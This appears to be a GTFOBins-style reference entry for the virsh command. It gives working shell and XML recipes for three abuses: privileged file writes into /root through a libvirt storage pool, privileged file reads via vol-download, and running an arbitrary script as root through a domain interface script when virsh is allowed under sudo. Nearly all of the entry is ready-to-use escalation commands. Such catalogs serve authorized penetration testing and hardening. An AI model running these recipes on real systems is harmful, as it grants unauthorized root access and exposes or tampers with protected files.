.. / virsh

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

This requires the user to be in the libvirt group to perform privileged file write. If the target directory doesn’t exist, pool-create-as must be run with the --build option. The destination file ownership and permissions can be set in the XML.

LFILE_DIR=/root
LFILE_NAME=file_to_write

echo 'data' > data_to_write

TF=$(mktemp)
cat > $TF <<EOF
<volume type='file'>
  <name>y</name>
  <key>$LFILE_DIR/$LFILE_NAME</key>
  <source>
  </source>
  <capacity unit='bytes'>5</capacity>
  <allocation unit='bytes'>4096</allocation>
  <physical unit='bytes'>5</physical>
  <target>
    <path>$LFILE_DIR/$LFILE_NAME</path>
    <format type='raw'/>
    <permissions>
      <mode>0600</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</volume>
EOF

virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
virsh -c qemu:///system vol-create --pool x --file $TF
virsh -c qemu:///system vol-upload --pool x $LFILE_DIR/$LFILE_NAME data_to_write
virsh -c qemu:///system pool-destroy x

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

This requires the user to be in the libvirt group to perform privileged file read.

LFILE_DIR=/root
LFILE_NAME=file_to_read

SPATH=file_to_save

virsh -c qemu:///system pool-create-as x dir --target $LFILE_DIR
virsh -c qemu:///system vol-download --pool x $LFILE_NAME $SPATH
virsh -c qemu:///system pool-destroy x

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

SCRIPT=script_to_run
TF=$(mktemp)
cat > $TF << EOF
<domain type='kvm'>
  <name>x</name>
  <os>
    <type arch='x86_64'>hvm</type>
  </os>
  <memory unit='KiB'>1</memory>
  <devices>
    <interface type='ethernet'>
      <script path='$SCRIPT'/>
    </interface>
  </devices>
</domain>
EOF
sudo virsh -c qemu:///system create $TF
virsh -c qemu:///system destroy x